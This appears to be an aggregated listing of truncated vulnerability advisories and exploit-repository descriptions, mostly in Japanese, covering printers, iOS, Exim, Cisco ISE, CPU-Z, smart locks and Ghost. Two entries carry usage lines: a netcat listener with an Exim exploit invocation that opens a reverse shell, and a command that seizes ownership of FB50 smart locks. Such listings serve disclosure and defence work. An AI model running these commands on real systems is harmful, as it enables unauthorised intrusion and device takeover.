CVE-2026-63563

CVE-2026-63563 - Unauthenticated Address Book Modification on Sharp MX/BP Multifunction Printers Sharp MX/BP多機能プリンター上の認証未完でのアドレス帳改ざん ベンダー勧告: Sharp Product Security Advisory 2026-004 2026/7/31公開 要約 Sharp MX/BP...

ios-gamed-0day

iOS gamed エクスプロイト（15.0.2で修正済み） 更新：Appleは公的な謝辞やクレジットを一切示すことなく、iOS 15.0.2でこれを静かに修正しました。 App Storeからインストールされたアプリは、ユーザーにプロンプトを一切表示することなく以下のデータにアクセスできる可能性があります： Apple IDのメールアドレスと、それに関連付けられた氏名 Apple ID認証トークン。これにより、ユーザーに代わって .apple.com 上の少なくとも1つのエンドポイントにアクセスできます Core...

kyocera-cve-2022-1026_SOAP1.1

Kyocera cve-2022-1026 soap1.1 認可されたテストのみ。 このプロジェクトは、所有している、または明示的なテスト許可を得た環境での教育的および防御的な検証を目的として提供されています。所有または管理していないシステムに対して使用しないでください。 CVE-2022-1026 に関連する、Kyocera プリンタの露出チェックおよびデータ取得の Proof-of-Concept です。特に、SOAP 1.1 サービスを実装したレガシーデバイス に焦点を当てています。 脆弱性の概要 CVE-2022-1026 は、2021 年にペネトレーションテスト中に...

fast-uri: fast-uri: Server-side request forgery via malformed IPv6 normalization

A flaw was found in fast-uri, a URI parser for Node.js. Its custom parser for bracketed IPv6 literals does not fully validate the IPv6 grammar, allowing invalid trailing text in an authority to be silently discarded. This can lead to a malformed, attacker-controlled host being normalized into a...

CLSA-2026-1790864845 TuxCare security update for ip-address (1 CVE)

TuxCare rebuilt ip-address to address 1 CVE. Fixed in 6.4.0-tuxcare.5...

VLC-CVE-2008-4654-Exploit

VLC-CVE-2008-4654-Exploit これは古い脆弱性で、CVE番号はCVE-2008-4654です。この脆弱性は、modules/demux/ty.cの1650行目で発生するメモリ不足が原因です。 streamReadpdemux-s, mstbuf, 8 + imapsize; 他のサイトからEXPをダウンロードしたところ、手元のWindows 7 Ultimate x64では正しく動作しませんでした。そこでリターンアドレスを0x68f0cfadから0x6a314b52に変更したところ、動作するようになりました！ 旧: 0x68f0cfad : jmp esp...

cve-2023-31355-poc

SEV ファームウェアの脆弱性 このリポジトリには、SEVファームウェアの脆弱性を利用したエクスプロイトが含まれています。このエクスプロイトにより、SEV-SNPゲストのメモリを、ゲストがデコミッションされた後に任意に復号できます。 バージョン1.55.16（執筆時点での最新版）でテスト済みです。 根本原因 snpreclaimbuffer は、アドレスがRMPでカバーされていない場合でも、無条件にRMP変更を書き戻そうとします。address がRMPでカバーされていない場合、RMPエントリ pagermppaddr のアドレスは正しく初期化されず、初期値 0...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim バージョン 4.87 から 4.91（含む）に欠陥が見つかりました。 /src/deliver.c 内の delivermessage 関数における受信者アドレスの不適切な検証により、リモートでのコマンド実行につながる可能性があります。 例 nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

CLSA-2026-1790862953 TuxCare security update for ip-address (1 CVE)

TuxCare rebuilt ip-address to address 1 CVE. Fixed in 10.7.0-tuxcare.2...

CVE-2026-39259

SmallerC scanf s Stack.md SmallerC - scanf %s スタックバッファオーバーフロー プロジェクト: https://github.com/alexfru/SmallerC...

CVE-2017-9476

CVE-2017-9476 決定論的認証情報を持つ隠しアクセスポイント。 コンパイル cc xhscmmac2psk.c -o xhscmmac2psk 使用方法 ./xhscmmac2psk このアルゴリズムは PSKracker にも追加されています。 参考文献 CVE-2017-9476 Bastille-18.home-security-wifi-network.txt DEFCON 25 whitepaper DEFCON 25 slides...

Blackash-CVE-2025-20343

🔒 CVE-2025-20343: Cisco ISE RADIUS抑制 DoS脆弱性 🌐 ⚠️ 概要 🚨 Cisco Identity Services Engine ISE における高深刻度 のサービス拒否 DoS 脆弱性！ 💥 認証されていないリモート攻撃者 が、細工したRADIUSパケットでデバイスをクラッシュ させる可能性があります。 📅 公開日 : 2025年11月5日 ✅ 実環境での悪用は確認されていません （今のところ） 🛠️ 仕組み 🔄 「Reject RADIUS requests from clients with repeated failures」...

CVE-2025-65264

CVE-2025-65264 説明 CPU‑Z 2.17 以前（および CPU-Z ドライバ バージョン 1.0.6.1 以前を使用する他の製品）では、ドライバ（例：cpuz161.sys）がユーザー指定のアドレスの値を逆参照し、呼び出し元が指定したシステムバッファに書き込んでいました。攻撃者は入力バッファに対象アドレスを指定することで、IOCTL 経由で任意のカーネルメモリを読み取ることができました。 PoC これは System プロセスのトークンを読み取るシンプルな PoC です。 影響...

Proxylogon-exploit

Proxylogon-exploit proxylogon エクスプロイト - CVE-2021-26857 使い方: python exploit.py...

pwnfb50

pwnfb50 任意のFB50スマートロックの所有権を自分自身に移譲します CVE-2019-13143 PoCビデオ 使用方法 $ python3 pwnfb50.py id mac ここで、id はあなたのユーザーID、mac はロックのMACアドレスです。...

kygocera

kygocera（CVE-2022-1026） Rapid7 の PoC（CVE-2022-1026）の改良された Go 言語バージョン（https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/） クレジット: Aaron Herndon / https://twitter.com/ac3lives 挨拶: https://github.com/D4RKMATT3R CVE-2022-1026 インストール git clone...

CLSA-2026-1790854765 TuxCare security update for ip-address (1 CVE)

TuxCare rebuilt ip-address to address 1 CVE. Fixed in 10.7.0-tuxcare.1...

CVE-2026-103280

Ghost from version 0.8.0 before 6.23.0 contains an information disclosure vulnerability in its setup endpoint: the endpoint responds to unauthenticated requests with the site owner's email address, allowing any remote visitor to obtain it...

CVE-2026-103280

The Ghost content management system, versions 0.8.0 before 6.23.0 , is susceptible to an information disclosure vulnerability. The setup endpoint fails to perform proper authentication and responds to unauthenticated requests by revealing the site owner's email address . This allows any remote vi...

CVE-2026-103280 Ghost 0.8.0 before 6.23.0 Information Disclosure via Setup Endpoint

Ghost from version 0.8.0 before 6.23.0 contains an information disclosure vulnerability in its setup endpoint: the endpoint responds to unauthenticated requests with the site owner's email address, allowing any remote visitor to obtain it...